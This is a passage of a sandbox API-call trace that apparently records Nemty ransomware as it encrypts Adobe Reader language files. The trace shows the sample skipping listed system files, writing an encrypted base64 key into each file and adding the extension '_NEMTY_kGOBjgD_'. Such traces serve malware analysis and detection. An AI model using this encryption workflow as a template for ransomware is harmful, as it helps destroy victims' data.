lpString2="bootmgr") returned 1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="programdata") returned -1 [0216.298] lstrcmpiW (lpString1="DisplayLanguageNames.ru.txt", lpString2="appdata") returned 1 [0216.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 27 [0216.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 27 [0216.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 27 [0216.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0216.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru.txt", lpUsedDefaultChar=0x0) returned 27 [0216.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.299] Sleep (dwMilliseconds=0x5) [0216.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34911d10, dwHighDateTime=0x1d561e8)) [0216.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34911d10, dwHighDateTime=0x1d561e8)) [0216.307] GetLastError () returned 0x0 [0216.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.307] GetLastError () returned 0x0 [0216.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.308] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.308] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.308] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.308] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="AT5f/h0EkR0FWCY7HsLfzr0LzP0cLO8dgEXMXeG01jjRAW86Jqm54aLSxZ9bdX/h\r\nAJM9NxlhS7FeTg214iCTQaIa+EGQLFPx81jMMonEgLj9F6TlvFxId6AmgSo0+0Ey\r\ni/Zlvx6DI6HSQ30ugkYaUvKHh+sIfBmjPffVtqSRYv8Z/0uSPL2+vhs49DaR55Yi\r\n4ROgSKtwAhIWh4IhKAkqmRVA93Y7IrwpJInEWvJx7DLoy+NgZxzJW1SNTKDuAN8B\r\ngAHDDCEOsZtJg8r/AW6oDREtwQkdsiW3RkmDLeq8prb1Nuad9//lXRgNZRTKJ0Bc\r\nhF0vLDXnfUnC1C25bHZnXw==\r\n", pcchString=0x653e5dc) returned 1 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.308] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29848) returned 1 [0216.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7490) returned 0x6352c48 [0216.308] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.308] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7490, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7490, lpOverlapped=0x0) returned 1 [0216.312] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7490, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7490, lpOverlapped=0x0) returned 1 [0216.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.313] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7498 [0216.313] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.313] CloseHandle (hObject=0x2e8) returned 1 [0216.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.313] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru.txt._nemty_kgobjgd_")) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.314] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f2cf3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7498, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ru_RU.txt", cAlternateFileName="DI759A~1.TXT")) returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2=".") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="..") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="...") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="windows") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="rsa") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="NTDETECT.COM") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="ntldr") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="MSDOS.SYS") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="IO.SYS") returned -1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="boot.ini") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="boot.ini") returned 1 [0216.314] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="ntuser.dat") returned -1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="desktop.ini") returned 1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="CONFIG.SYS") returned 1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="RECYCLER") returned -1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="bootmgr") returned 1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="programdata") returned -1 [0216.315] lstrcmpiW (lpString1="DisplayLanguageNames.ru_RU.txt", lpString2="appdata") returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 30 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 30 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 30 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 30 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.315] Sleep (dwMilliseconds=0x5) [0216.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34937e70, dwHighDateTime=0x1d561e8)) [0216.323] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34937e70, dwHighDateTime=0x1d561e8)) [0216.323] GetLastError () returned 0x0 [0216.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.323] GetLastError () returned 0x0 [0216.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.323] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.324] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.324] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.324] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="5iNhZYZh6Woy31jargwcG7KTk6eed2sWdq2u37/vgbllr51MarXOZo+22dU//Jkf\r\nfVHNGbEZd99VDbc3Qb0qtHLIKNb0bjsbSL/2cLAoKCpY1L5nxK4T8awJexY/XO/c\r\n7lwajfRGONm+Jnvmb8Nz93EQulK80mhSAPwSi/sjlZhmRC0tjfuKYn9Be+y5jwhx\r\nW+wyOC3R5W/5hG5s6lQ0zpMjJl68qhRLB++pxiYTbIRXoZEFj2ScTMElIK50IW4Z\r\nUaQ4TLLaWqZhOCqmtonVDXdf2U66rKzL8MmLmkrRtwmfMjejkUa6NsjEo+GeIw9p\r\n8dxF7Eqg38kRGfpX+qM8ww==\r\n", pcchString=0x653e5dc) returned 1 [0216.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.325] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29848) returned 1 [0216.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7490) returned 0x6352c48 [0216.325] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.325] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7490, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7490, lpOverlapped=0x0) returned 1 [0216.328] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.328] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7490, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7490, lpOverlapped=0x0) returned 1 [0216.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.329] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7498 [0216.329] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.329] CloseHandle (hObject=0x2e8) returned 1 [0216.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.329] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.329] MoveFileW 